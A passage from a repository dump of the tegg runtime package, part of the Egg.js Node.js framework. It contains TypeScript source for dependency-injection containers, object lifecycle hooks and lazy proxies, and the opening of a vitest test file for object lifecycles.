loadUnit = LoadUnitFactory.getLoadUnitById(proto.loadUnitId);\n        if (!loadUnit) {\n          throw new Error(`can not find load unit: ${proto.loadUnitId}`);\n        }\n        await EggContainerFactory.getOrCreateEggObject(proto, injectObject.objName);\n      }),\n    );\n    this.eggObjectInitPromise.set(obj, initPromise);\n    await initPromise;\n    this.eggObjectInitPromise.delete(obj);\n  }\n\n  static createContextInitiator(context: EggRuntimeContext): ContextInitiator {\n    let initiator = context.get(CONTEXT_INITIATOR);\n    if (!initiator) {\n      initiator = new ContextInitiator(context);\n      context.set(CONTEXT_INITIATOR, initiator);\n    }\n    return initiator;\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/impl/ContextObjectGraph.ts",
    "content": "import { ObjectInitType } from '@eggjs/tegg-types';\nimport type { EggPrototype, InjectObjectProto } from '@eggjs/tegg-types';\n\nclass InjectProtoHolder {\n  private idSet: Set<string> = new Set();\n  private injectProtos: Array<InjectObjectProto> = [];\n\n  addInjectProto(injectObjectProto: InjectObjectProto) {\n    const id = `${String(injectObjectProto.objName)}:${injectObjectProto.proto.id}`;\n    if (this.idSet.has(id)) {\n      return;\n    }\n    this.idSet.add(id);\n    this.injectProtos.push(injectObjectProto);\n  }\n\n  dumpProtos(): Array<InjectObjectProto> {\n    return this.injectProtos;\n  }\n}\n\nexport class ContextObjectGraph {\n  private static eggObjectInitRecorder: WeakMap<EggPrototype, Array<InjectObjectProto>> = new WeakMap();\n\n  static getContextProto(proto: EggPrototype): InjectObjectProto[] {\n    if (ContextObjectGraph.eggObjectInitRecorder.has(proto)) {\n      return ContextObjectGraph.eggObjectInitRecorder.get(proto)!;\n    }\n    const holder = new InjectProtoHolder();\n    this.doGetContextProto(proto, holder);\n    const injectObjectProtos = holder.dumpProtos();\n    ContextObjectGraph.eggObjectInitRecorder.set(proto, injectObjectProtos);\n    return injectObjectProtos;\n  }\n\n  private static doGetContextProto(proto: EggPrototype, holder: InjectProtoHolder) {\n    for (const injectObject of proto.injectObjects) {\n      if (injectObject.proto.initType === ObjectInitType.CONTEXT && proto.initType !== ObjectInitType.CONTEXT) {\n        holder.addInjectProto(injectObject);\n      }\n      ContextObjectGraph.doGetContextProto(injectObject.proto, holder);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/impl/EggAlwaysNewObjectContainer.ts",
    "content": "import { ObjectInitType } from '@eggjs/tegg-types';\nimport type { EggContainer, EggObject, EggObjectName, EggPrototype, Id, LifecycleContext } from '@eggjs/tegg-types';\n\nimport { EggContainerFactory } from '../factory/EggContainerFactory.ts';\nimport { EggObjectFactory } from '../factory/EggObjectFactory.ts';\n\nexport class EggAlwaysNewObjectContainer implements EggContainer<LifecycleContext> {\n  static instance: EggAlwaysNewObjectContainer = new EggAlwaysNewObjectContainer();\n  readonly id: Id;\n\n  constructor() {\n    this.id = 'ALWAYS_NEW_OBJECT_CONTAINER';\n  }\n\n  addProtoToCreate(): void {\n    return;\n  }\n\n  deleteProtoToCreate(): void {\n    return;\n  }\n\n  iterateProtoToCreate(): IterableIterator<[EggObjectName, EggPrototype]> {\n    return new Map().entries();\n  }\n\n  getEggObject(): EggObject {\n    throw new Error('Always Object can not use getEggObject, should use getOrCreateEggObject');\n  }\n\n  async getOrCreateEggObject(name: string, proto: EggPrototype): Promise<EggObject> {\n    return EggObjectFactory.createObject(name, proto);\n  }\n\n  async destroy(): Promise<void> {\n    // do nothing\n  }\n\n  async init(): Promise<void> {\n    // do nothing\n  }\n}\n\nEggContainerFactory.registerContainerGetMethod(ObjectInitType.ALWAYS_NEW, () => EggAlwaysNewObjectContainer.instance);\n"
  },
  {
    "path": "tegg/core/runtime/src/impl/EggObjectImpl.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\nimport { LoadUnitFactory } from '@eggjs/metadata';\nimport type {\n  EggObject,\n  EggObjectLifecycle,\n  EggObjectLifeCycleContext,\n  EggObjectName,\n  EggPrototype,\n  ObjectInfo,\n  QualifierInfo,\n} from '@eggjs/tegg-types';\nimport { EggObjectStatus, InjectType, ObjectInitType } from '@eggjs/tegg-types';\n\nimport { EggContainerFactory } from '../factory/EggContainerFactory.ts';\nimport { ContextHandler } from '../model/ContextHandler.ts';\nimport { EggObjectLifecycleUtil } from '../model/EggObject.ts';\nimport { EggObjectUtil } from './EggObjectUtil.ts';\n\nexport class EggObjectImpl implements EggObject {\n  private _obj: object;\n  private status: EggObjectStatus = EggObjectStatus.PENDING;\n\n  readonly proto: EggPrototype;\n  readonly name: EggObjectName;\n  readonly id: string;\n\n  constructor(name: EggObjectName, proto: EggPrototype) {\n    this.name = name;\n    this.proto = proto;\n    const ctx = ContextHandler.getContext();\n    this.id = IdenticalUtil.createObjectId(this.proto.id, ctx?.id);\n  }\n\n  async initWithInjectProperty(ctx: EggObjectLifeCycleContext): Promise<void> {\n    // 1. create obj\n    // 2. call obj lifecycle preCreate\n    // 3. inject deps\n    // 4. call obj lifecycle postCreate\n    // 5. success create\n    try {\n      this._obj = this.proto.constructEggObject();\n      const objLifecycleHook = this._obj as EggObjectLifecycle;\n\n      // global hook\n      await EggObjectLifecycleUtil.objectPreCreate(ctx, this);\n      // self hook\n      const postConstructMethod =\n        EggObjectLifecycleUtil.getLifecycleHook('postConstruct', this.proto) ?? 'postConstruct';\n      if (objLifecycleHook[postConstructMethod]) {\n        await objLifecycleHook[postConstructMethod](ctx, this);\n      }\n\n      const preInjectMethod = EggObjectLifecycleUtil.getLifecycleHook('preInject', this.proto) ?? 'preInject';\n      if (objLifecycleHook[preInjectMethod]) {\n        await objLifecycleHook[preInjectMethod](ctx, this);\n      }\n      await Promise.all(\n        this.proto.injectObjects.map(async (injectObject) => {\n          const proto = injectObject.proto;\n          const loadUnit = LoadUnitFactory.getLoadUnitById(proto.loadUnitId);\n          if (!loadUnit) {\n            throw new Error(`can not find load unit: ${proto.loadUnitId}`);\n          }\n          if (\n            this.proto.initType !== ObjectInitType.CONTEXT &&\n            injectObject.proto.initType === ObjectInitType.CONTEXT\n          ) {\n            this.injectProperty(\n              injectObject.refName,\n              EggObjectUtil.contextEggObjectGetProperty(proto, injectObject.objName),\n            );\n          } else {\n            const injectObj = await EggContainerFactory.getOrCreateEggObject(proto, injectObject.objName);\n            this.injectProperty(injectObject.refName, EggObjectUtil.eggObjectGetProperty(injectObj));\n          }\n        }),\n      );\n\n      // global hook\n      await EggObjectLifecycleUtil.objectPostCreate(ctx, this);\n\n      // self hook\n      const postInjectMethod = EggObjectLifecycleUtil.getLifecycleHook('postInject', this.proto) ?? 'postInject';\n      if (objLifecycleHook[postInjectMethod]) {\n        await objLifecycleHook[postInjectMethod](ctx, this);\n      }\n\n      const initMethod = EggObjectLifecycleUtil.getLifecycleHook('init', this.proto) ?? 'init';\n      if (objLifecycleHook[initMethod]) {\n        await objLifecycleHook[initMethod](ctx, this);\n      }\n\n      this.status = EggObjectStatus.READY;\n    } catch (e) {\n      this.status = EggObjectStatus.ERROR;\n      throw e;\n    }\n  }\n\n  async initWithInjectConstructor(ctx: EggObjectLifeCycleContext): Promise<void> {\n    // 1. create inject deps\n    // 2. create obj\n    // 3. call obj lifecycle preCreate\n    // 4. call obj lifecycle postCreate\n    // 5. success create\n    try {\n      const constructArgs: any[] = await Promise.all(\n        this.proto.injectObjects!.map(async (injectObject) => {\n          const proto = injectObject.proto;\n          const loadUnit = LoadUnitFactory.getLoadUnitById(proto.loadUnitId);\n          if (!loadUnit) {\n            throw new Error(`can not find load unit: ${proto.loadUnitId}`);\n          }\n          if (\n            this.proto.initType !== ObjectInitType.CONTEXT &&\n            injectObject.proto.initType === ObjectInitType.CONTEXT\n          ) {\n            return EggObjectUtil.contextEggObjectProxy(proto, injectObject.objName);\n          }\n          const injectObj = await EggContainerFactory.getOrCreateEggObject(proto, injectObject.objName);\n          return EggObjectUtil.eggObjectProxy(injectObj);\n        }),\n      );\n      if (typeof this.proto.multiInstanceConstructorIndex !== 'undefined') {\n        const qualifiers =\n          this.proto.multiInstanceConstructorAttributes\n            ?.map((t) => {\n              return {\n                attribute: t,\n                value: this.proto.getQualifier(t),\n              } as QualifierInfo;\n            })\n            ?.filter((t) => typeof t.value !== 'undefined') ?? [];\n        const objInfo: ObjectInfo = {\n          name: this.proto.name,\n          qualifiers,\n        };\n        constructArgs.splice(this.proto.multiInstanceConstructorIndex, 0, objInfo);\n      }\n\n      this._obj = this.proto.constructEggObject(...constructArgs);\n      const objLifecycleHook = this._obj as EggObjectLifecycle;\n\n      // global hook\n      await EggObjectLifecycleUtil.objectPreCreate(ctx, this);\n      // self hook\n      const postConstructMethod =\n        EggObjectLifecycleUtil.getLifecycleHook('postConstruct', this.proto) ?? 'postConstruct';\n      if (objLifecycleHook[postConstructMethod]) {\n        await objLifecycleHook[postConstructMethod](ctx, this);\n      }\n\n      const preInjectMethod = EggObjectLifecycleUtil.getLifecycleHook('preInject', this.proto) ?? 'preInject';\n      if (objLifecycleHook[preInjectMethod]) {\n        await objLifecycleHook[preInjectMethod](ctx, this);\n      }\n\n      // global hook\n      await EggObjectLifecycleUtil.objectPostCreate(ctx, this);\n\n      // self hook\n      const postInjectMethod = EggObjectLifecycleUtil.getLifecycleHook('postInject', this.proto) ?? 'postInject';\n      if (objLifecycleHook[postInjectMethod]) {\n        await objLifecycleHook[postInjectMethod](ctx, this);\n      }\n\n      const initMethod = EggObjectLifecycleUtil.getLifecycleHook('init', this.proto) ?? 'init';\n      if (objLifecycleHook[initMethod]) {\n        await objLifecycleHook[initMethod](ctx, this);\n      }\n\n      this.status = EggObjectStatus.READY;\n    } catch (e) {\n      this.status = EggObjectStatus.ERROR;\n      throw e;\n    }\n  }\n\n  async init(ctx: EggObjectLifeCycleContext): Promise<void> {\n    if (this.proto.injectType === InjectType.CONSTRUCTOR) {\n      await this.initWithInjectConstructor(ctx);\n    } else {\n      await this.initWithInjectProperty(ctx);\n    }\n  }\n\n  async destroy(ctx: EggObjectLifeCycleContext): Promise<void> {\n    if (this.status === EggObjectStatus.READY) {\n      this.status = EggObjectStatus.DESTROYING;\n      // global hook\n      await EggObjectLifecycleUtil.objectPreDestroy(ctx, this);\n\n      // self hook\n      const objLifecycleHook = this._obj as EggObjectLifecycle;\n      const preDestroyMethod = EggObjectLifecycleUtil.getLifecycleHook('preDestroy', this.proto) ?? 'preDestroy';\n      if (objLifecycleHook[preDestroyMethod]) {\n        await objLifecycleHook[preDestroyMethod](ctx, this);\n      }\n\n      const destroyMethod = EggObjectLifecycleUtil.getLifecycleHook('destroy', this.proto) ?? 'destroy';\n      if (objLifecycleHook[destroyMethod]) {\n        await objLifecycleHook[destroyMethod](ctx, this);\n      }\n\n      this.status = EggObjectStatus.DESTROYED;\n    }\n  }\n\n  injectProperty(name: EggObjectName, descriptor: PropertyDescriptor): void {\n    Reflect.defineProperty(this._obj, name, descriptor);\n  }\n\n  get obj(): object {\n    return this._obj;\n  }\n\n  get isReady(): boolean {\n    return this.status === EggObjectStatus.READY;\n  }\n\n  static async createObject(\n    name: EggObjectName,\n    proto: EggPrototype,\n    lifecycleContext: EggObjectLifeCycleContext,\n  ): Promise<EggObjectImpl> {\n    const obj = new EggObjectImpl(name, proto);\n    await obj.init(lifecycleContext);\n    return obj;\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/impl/EggObjectUtil.ts",
    "content": "import type { EggObject, EggPrototype } from '@eggjs/tegg-types';\n\nimport { EggContainerFactory } from '../factory/EggContainerFactory.ts';\n\nexport class EggObjectUtil {\n  static eggObjectGetProperty(eggObject: EggObject): PropertyDescriptor {\n    return {\n      get(): any {\n        return eggObject.obj;\n      },\n      configurable: true,\n      enumerable: true,\n    };\n  }\n\n  static contextEggObjectGetProperty(proto: EggPrototype, objName: PropertyKey): PropertyDescriptor {\n    const PROTO_OBJ_GETTER = Symbol(`EggPrototype#objGetter#${String(objName)}`);\n    if (!proto[PROTO_OBJ_GETTER]) {\n      proto[PROTO_OBJ_GETTER] = {\n        get(): any {\n          const eggObject = EggContainerFactory.getEggObject(proto, objName);\n          return eggObject.obj;\n        },\n        configurable: true,\n        enumerable: true,\n      };\n    }\n    return proto[PROTO_OBJ_GETTER];\n  }\n\n  static eggObjectProxy(eggObject: EggObject): PropertyDescriptor {\n    let _obj: object;\n    function getObj(): Record<string | symbol, any> {\n      if (!_obj) {\n        _obj = eggObject.obj;\n      }\n      return _obj;\n    }\n\n    const proxy = new Proxy(\n      {},\n      {\n        defineProperty(_target: {}, property: string | symbol, attributes: PropertyDescriptor): boolean {\n          const obj = getObj();\n          Object.defineProperty(obj, property, attributes);\n          return true;\n        },\n        deleteProperty(_target: any, p: string | symbol): boolean {\n          const obj = getObj();\n          delete obj[p];\n          return true;\n        },\n        get(target: any, p: string | symbol): any {\n          // make get be lazy\n          if (p === 'then') return;\n          if ((Object.prototype as any)[p]) {\n            return target[p];\n          }\n          const obj = getObj();\n          const val = obj[p];\n          if (typeof val === 'function') {\n            return val.bind(obj);\n          }\n          return val;\n        },\n        getOwnPropertyDescriptor(_target: any, p: string | symbol): PropertyDescriptor | undefined {\n          const obj = getObj();\n          return Object.getOwnPropertyDescriptor(obj, p);\n        },\n        getPrototypeOf(): object | null {\n          const obj = getObj();\n          return Object.getPrototypeOf(obj);\n        },\n        has(_target: any, p: string | symbol): boolean {\n          const obj = getObj();\n          return p in obj;\n        },\n        isExtensible(): boolean {\n          const obj = getObj();\n          return Object.isExtensible(obj);\n        },\n        ownKeys(): ArrayLike<string | symbol> {\n          const obj = getObj();\n          return Reflect.ownKeys(obj);\n        },\n        preventExtensions(): boolean {\n          const obj = getObj();\n          Object.preventExtensions(obj);\n          return true;\n        },\n        set(_target: any, p: string | symbol, newValue: any): boolean {\n          const obj = getObj();\n          obj[p] = newValue;\n          return true;\n        },\n        setPrototypeOf(_target: any, v: object | null): boolean {\n          const obj = getObj();\n          Object.setPrototypeOf(obj, v);\n          return true;\n        },\n      },\n    );\n    return proxy;\n  }\n\n  static contextEggObjectProxy(proto: EggPrototype, objName: PropertyKey): PropertyDescriptor {\n    const PROTO_OBJ_PROXY = Symbol(`EggPrototype#objProxy#${String(objName)}`);\n    if (!proto[PROTO_OBJ_PROXY]) {\n      proto[PROTO_OBJ_PROXY] = new Proxy(\n        {},\n        {\n          defineProperty(_target: any, property: string | symbol, attributes: PropertyDescriptor): boolean {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            Object.defineProperty(obj, property, attributes);\n            return true;\n          },\n          deleteProperty(_target: any, p: string | symbol): boolean {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            delete obj[p];\n            return true;\n          },\n          get(target: any, p: string | symbol): any {\n            // make get be lazy\n            if (p === 'then') return;\n            if ((Object.prototype as any)[p]) {\n              return target[p];\n            }\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            return obj[p];\n          },\n          getOwnPropertyDescriptor(_target: any, p: string | symbol): PropertyDescriptor | undefined {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            return Object.getOwnPropertyDescriptor(obj, p);\n          },\n          getPrototypeOf(): object | null {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            return Object.getPrototypeOf(obj);\n          },\n          has(_target: any, p: string | symbol): boolean {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            return p in obj;\n          },\n          isExtensible(): boolean {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            return Object.isExtensible(obj);\n          },\n          ownKeys(): ArrayLike<string | symbol> {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            return Reflect.ownKeys(obj);\n          },\n          preventExtensions(): boolean {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            Object.preventExtensions(obj);\n            return true;\n          },\n          set(_target: any, p: string | symbol, newValue: any): boolean {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            obj[p] = newValue;\n            return true;\n          },\n          setPrototypeOf(_target: any, v: object | null): boolean {\n            const eggObject = EggContainerFactory.getEggObject(proto, objName);\n            const obj = eggObject.obj;\n            Object.setPrototypeOf(obj, v);\n            return true;\n          },\n        },\n      );\n    }\n    return proto[PROTO_OBJ_PROXY];\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/impl/ModuleLoadUnitInstance.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport { EggLoadUnitType, ObjectInitType } from '@eggjs/tegg-types';\nimport type {\n  EggObject,\n  EggObjectName,\n  EggPrototype,\n  EggPrototypeName,\n  Id,\n  LoadUnit,\n  LoadUnitInstance,\n  LoadUnitInstanceLifecycleContext,\n} from '@eggjs/tegg-types';\n\nimport { EggObjectFactory } from '../factory/EggObjectFactory.ts';\nimport { LoadUnitInstanceFactory } from '../factory/LoadUnitInstanceFactory.ts';\nimport { LoadUnitInstanceLifecycleUtil } from '../model/LoadUnitInstance.ts';\n\nexport class ModuleLoadUnitInstance implements LoadUnitInstance {\n  readonly loadUnit: LoadUnit;\n  readonly id: string;\n  readonly name: string;\n  private protoToCreateMap: [EggPrototypeName, EggPrototype][] = [];\n  private eggObjectMap: Map<Id, Map<EggPrototypeName, EggObject>> = new Map();\n  private eggObjectPromiseMap: Map<Id, Map<EggPrototypeName, Promise<EggObject>>> = new Map();\n\n  constructor(loadUnit: LoadUnit) {\n    this.loadUnit = loadUnit;\n    this.name = loadUnit.name;\n    const iterator = this.loadUnit.iterateEggPrototype();\n    for (const proto of iterator) {\n      if (proto.initType === ObjectInitType.SINGLETON) {\n        this.protoToCreateMap.push([proto.name, proto]);\n      }\n    }\n    this.id = IdenticalUtil.createLoadUnitInstanceId(loadUnit.id);\n  }\n\n  iterateProtoToCreate(): IterableIterator<[EggObjectName, EggPrototype]> {\n    return this.protoToCreateMap[Symbol.iterator]();\n  }\n\n  addProtoToCreate(name: string, proto: EggPrototype): void {\n    this.protoToCreateMap.push([name, proto]);\n  }\n\n  deleteProtoToCreate(name: string): void {\n    const index = this.protoToCreateMap.findIndex(([protoName]) => protoName === name);\n    if (index !== -1) {\n      this.protoToCreateMap.splice(index, 1);\n    }\n  }\n\n  async init(ctx: LoadUnitInstanceLifecycleContext): Promise<void> {\n    await LoadUnitInstanceLifecycleUtil.objectPreCreate(ctx, this);\n    for (const [name, proto] of this.protoToCreateMap) {\n      await this.getOrCreateEggObject(name, proto);\n    }\n    await LoadUnitInstanceLifecycleUtil.objectPostCreate(ctx, this);\n  }\n\n  async destroy(): Promise<void> {\n    const objs: EggObject[] = [];\n    for (const protoObjMap of this.eggObjectMap.values()) {\n      for (const obj of protoObjMap.values()) {\n        objs.push(obj);\n      }\n    }\n    this.eggObjectMap.clear();\n    await Promise.all(\n      objs.map(async (obj) => {\n        await EggObjectFactory.destroyObject(obj);\n      }),\n    );\n  }\n\n  async getOrCreateEggObject(name: EggPrototypeName, proto: EggPrototype): Promise<EggObject> {\n    if (!this.loadUnit.containPrototype(proto)) {\n      throw new Error('load unit not contain proto');\n    }\n    const protoObjMap = MapUtil.getOrStore(this.eggObjectMap, proto.id, new Map());\n    if (!protoObjMap.has(name)) {\n      const protoObjPromiseMap = MapUtil.getOrStore(this.eggObjectPromiseMap, proto.id, new Map());\n      if (!protoObjPromiseMap.has(name)) {\n        const objPromise = EggObjectFactory.createObject(name, proto);\n        protoObjPromiseMap.set(name, objPromise);\n        const obj = await objPromise;\n        protoObjPromiseMap.delete(name);\n        protoObjMap.set(name, obj);\n      } else {\n        await protoObjPromiseMap.get(name);\n      }\n    }\n    return protoObjMap.get(name)!;\n  }\n\n  getEggObject(name: EggPrototypeName, proto: EggPrototype): EggObject {\n    const protoObjMap = this.eggObjectMap.get(proto.id);\n\n    if (!protoObjMap || !protoObjMap.has(name)) {\n      throw new Error(`EggObject ${String(proto.name)} not found`);\n    }\n    return protoObjMap.get(name)!;\n  }\n\n  static createModuleLoadUnitInstance(ctx: LoadUnitInstanceLifecycleContext): LoadUnitInstance {\n    return new ModuleLoadUnitInstance(ctx.loadUnit);\n  }\n}\n\nLoadUnitInstanceFactory.registerLoadUnitInstanceClass(\n  EggLoadUnitType.MODULE,\n  ModuleLoadUnitInstance.createModuleLoadUnitInstance,\n);\n"
  },
  {
    "path": "tegg/core/runtime/src/impl/index.ts",
    "content": "export * from './ContextInitiator.ts';\nexport * from './ContextObjectGraph.ts';\nexport * from './EggAlwaysNewObjectContainer.ts';\nexport * from './EggObjectImpl.ts';\nexport * from './EggObjectUtil.ts';\nexport * from './ModuleLoadUnitInstance.ts';\n"
  },
  {
    "path": "tegg/core/runtime/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/runtime';\nexport type { EggRuntimeContext as EggContext } from '@eggjs/tegg-types/runtime';\n\nexport * from './model/index.ts';\nexport * from './impl/index.ts';\nexport * from './factory/index.ts';\n"
  },
  {
    "path": "tegg/core/runtime/src/model/AbstractEggContext.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { TeggError } from '@eggjs/metadata';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport { ObjectInitType } from '@eggjs/tegg-types';\nimport type {\n  EggRuntimeContext,\n  EggContextLifecycleContext,\n  EggObject,\n  EggObjectName,\n  EggPrototype,\n  EggPrototypeName,\n  Id,\n} from '@eggjs/tegg-types';\n\nimport { EggContainerFactory } from '../factory/EggContainerFactory.ts';\nimport { EggObjectFactory } from '../factory/EggObjectFactory.ts';\nimport { ContextHandler } from './ContextHandler.ts';\nimport { EggContextLifecycleUtil } from './EggContext.ts';\n\nconst debug = debuglog('tegg/core/runtime/AbstractEggContext');\n\nexport abstract class AbstractEggContext implements EggRuntimeContext {\n  private contextData: Map<string | symbol, any> = new Map();\n  private protoToCreate: Map<EggPrototypeName, EggPrototype> = new Map();\n  private eggObjectMap: Map<Id, Map<EggPrototypeName, EggObject>> = new Map();\n  private eggObjectPromiseMap: Map<Id, Map<EggPrototypeName, Promise<EggObject>>> = new Map();\n  private destroyed = false;\n\n  abstract id: string;\n\n  addProtoToCreate(name: string, proto: EggPrototype): void {\n    this.protoToCreate.set(name, proto);\n  }\n\n  deleteProtoToCreate(name: string): void {\n    this.protoToCreate.delete(name);\n  }\n\n  async destroy(ctx: EggContextLifecycleContext): Promise<void> {\n    await EggContextLifecycleUtil.objectPreDestroy(ctx, this);\n    const objs: EggObject[] = [];\n    for (const protoObjMap of this.eggObjectMap.values()) {\n      for (const protoObj of protoObjMap.values()) {\n        objs.push(protoObj);\n      }\n    }\n    this.eggObjectMap.clear();\n    await Promise.all(\n      objs.map(async (obj) => {\n        await EggObjectFactory.destroyObject(obj);\n      }),\n    );\n    this.contextData.clear();\n    this.destroyed = true;\n    await EggContextLifecycleUtil.clearObjectLifecycle(this);\n  }\n\n  get(key: string | symbol): any | undefined {\n    return this.contextData.get(key);\n  }\n\n  getEggObject(name: EggPrototypeName, proto: EggPrototype): EggObject {\n    if (this.destroyed) {\n      throw TeggError.create(\n        `Can not read property \\`${String(name)}\\` because egg ctx has been destroyed`,\n        'read_after_ctx_destroyed',\n      );\n    }\n    const protoObjMap = this.eggObjectMap.get(proto.id);\n\n    if (!protoObjMap || !protoObjMap.has(name)) {\n      throw new Error(`EggObject ${String(proto.name)} not found`);\n    }\n    return protoObjMap.get(name)!;\n  }\n\n  async getOrCreateEggObject(name: EggPrototypeName, proto: EggPrototype): Promise<EggObject> {\n    const protoObjMap = MapUtil.getOrStore(this.eggObjectMap, proto.id, new Map());\n    if (!protoObjMap.has(name)) {\n      const protoObjPromiseMap = MapUtil.getOrStore(this.eggObjectPromiseMap, proto.id, new Map());\n      if (!protoObjPromiseMap.has(name)) {\n        const objPromise = EggObjectFactory.createObject(name, proto);\n        protoObjPromiseMap.set(name, objPromise);\n        const obj = await objPromise;\n        protoObjPromiseMap.delete(name);\n        if (!protoObjPromiseMap.size) {\n          this.eggObjectPromiseMap.delete(proto.id);\n        }\n        protoObjMap.set(name, obj);\n      } else {\n        await protoObjPromiseMap.get(name);\n      }\n    }\n    return protoObjMap.get(name)!;\n  }\n\n  async init(ctx: EggContextLifecycleContext): Promise<void> {\n    await EggContextLifecycleUtil.objectPreCreate(ctx, this);\n    for (const [name, proto] of this.protoToCreate) {\n      await this.getOrCreateEggObject(name, proto);\n    }\n    await EggContextLifecycleUtil.objectPostCreate(ctx, this);\n  }\n\n  iterateProtoToCreate(): IterableIterator<[EggObjectName, EggPrototype]> {\n    return this.protoToCreate.entries();\n  }\n\n  set(key: string | symbol, val: any): void {\n    this.contextData.set(key, val);\n  }\n}\n\nEggContainerFactory.registerContainerGetMethod(ObjectInitType.CONTEXT, () => {\n  const ctx = ContextHandler.getContext();\n  if (!ctx) {\n    debug('can not get teggCtx from ContextHandler');\n    throw new Error('ctx is required');\n  }\n  return ctx;\n});\n"
  },
  {
    "path": "tegg/core/runtime/src/model/ContextHandler.ts",
    "content": "import assert from 'node:assert';\n\nimport type { EggRuntimeContext } from '@eggjs/tegg-types';\n\ntype runInContextCallback<R = any> = (context: EggRuntimeContext, fn: () => Promise<R>) => Promise<R>;\n\nexport class ContextHandler {\n  static getContextCallback: () => EggRuntimeContext | undefined;\n  static runInContextCallback: runInContextCallback;\n\n  static getContext(): EggRuntimeContext | undefined {\n    assert(this.getContextCallback, 'getContextCallback not set');\n    return this.getContextCallback ? this.getContextCallback() : undefined;\n  }\n\n  static run<R = any>(context: EggRuntimeContext, fn: () => Promise<R>): Promise<R> {\n    assert(this.runInContextCallback, 'runInContextCallback not set');\n    return this.runInContextCallback(context, fn);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/model/EggContext.ts",
    "content": "import { LifecycleUtil } from '@eggjs/lifecycle';\nimport type { EggRuntimeContext, EggContextLifecycleContext } from '@eggjs/tegg-types';\n\nexport const EggContextLifecycleUtil: LifecycleUtil<EggContextLifecycleContext, EggRuntimeContext> =\n  new LifecycleUtil();\n"
  },
  {
    "path": "tegg/core/runtime/src/model/EggObject.ts",
    "content": "import { LifecycleUtil } from '@eggjs/lifecycle';\nimport type { EggObject, EggObjectLifeCycleContext } from '@eggjs/tegg-types';\n\nexport const EggObjectLifecycleUtil: LifecycleUtil<EggObjectLifeCycleContext, EggObject> = new LifecycleUtil();\n"
  },
  {
    "path": "tegg/core/runtime/src/model/LoadUnitInstance.ts",
    "content": "import { LifecycleUtil } from '@eggjs/lifecycle';\nimport type { LoadUnitInstance, LoadUnitInstanceLifecycleContext } from '@eggjs/tegg-types';\n\nexport const LoadUnitInstanceLifecycleUtil: LifecycleUtil<LoadUnitInstanceLifecycleContext, LoadUnitInstance> =\n  new LifecycleUtil();\n"
  },
  {
    "path": "tegg/core/runtime/src/model/index.ts",
    "content": "export * from './AbstractEggContext.ts';\nexport * from './ContextHandler.ts';\nexport * from './EggContext.ts';\nexport * from './EggObject.ts';\nexport * from './LoadUnitInstance.ts';\n"
  },
  {
    "path": "tegg/core/runtime/test/EggObject.test.ts",
    "content": "import assert from 'node:assert';\nimport { mock } from 'node:test';\n\nimport { EggPrototypeFactory } from '@eggjs/metadata';\nimport { describe, beforeEach, afterEach, it } from 'vitest';\n\nimport { EggContainerFactory } from '../src/index.js';\nimport { ContextHandler } from '../src/model/ContextHandler.js';\nimport { EggTestContext } from './fixtures/EggTestContext.js';\nimport { Bar as ExtendsBar } from './fixtures/modules/extends-module/Base.js';\nimport { SingletonConstructorBar } from './fixtures/modules/inject-constructor-context-to-singleton/object.js';\nimport { SingletonBar } from './fixtures/modules/inject-context-to-singleton/object.js';\nimport { Foo, Bar } from './fixtures/modules/lifecycle-hook/object.js';\nimport TestUtil from './util.js';\n\ndescribe('test/EggObject.test.ts', () => {\n  let ctx: EggTestContext;\n\n  beforeEach(() => {\n    ctx = new EggTestContext();\n  });\n\n  afterEach(() => {\n    mock.reset();\n  });\n\n  describe('lifecycle', () => {\n    beforeEach(() => {\n      mock.method(ContextHandler, 'getContext', () => {\n        return ctx;\n      });\n    });\n\n    describe('context proto', () => {\n      it('should work', async () => {\n        const instance = await TestUtil.createLoadUnitInstance('lifecycle-hook');\n        const fooProto = EggPrototypeFactory.instance.getPrototype('foo');\n        const fooObj = await EggContainerFactory.getOrCreateEggObject(fooProto, fooProto.name);\n        const foo = fooObj.obj as Foo;\n        await TestUtil.destroyLoadUnitInstance(instance);\n        const called = foo.getLifecycleCalled();\n        await ctx.destroy({});\n        assert.deepStrictEqual(called, [\n          'construct',\n          'postConstruct',\n          'preInject',\n          'postInject',\n          'init',\n          'preDestroy',\n          'destroy',\n        ]);\n      });\n\n      it('should clear eggObjectMap/eggObjectPromiseMap/contextData after destroy', async () => {\n        const instance = await TestUtil.createLoadUnitInstance('lifecycle-hook');\n        const fooProto = EggPrototypeFactory.instance.getPrototype('foo');\n        const fooObj = await EggContainerFactory.getOrCreateEggObject(fooProto, fooProto.name);\n        assert(fooObj.obj);\n        await ctx.destroy({});\n        await TestUtil.destroyLoadUnitInstance(instance);\n\n        // should clear all maps\n        const assertCtx = ctx as any;\n        assert(!assertCtx.eggObjectMap.size);\n        assert(!assertCtx.eggObjectPromiseMap.size);\n        assert(!assertCtx.contextData.size);\n      });\n    });\n\n    describe('singleton proto', () => {\n      it('should work', async () => {\n        const instance = await TestUtil.createLoadUnitInstance('lifecycle-hook');\n        const barProto = EggPrototypeFactory.instance.getPrototype('bar');\n        const barObj = await EggContainerFactory.getOrCreateEggObject(barProto, barProto.name);\n        const bar = barObj.obj as 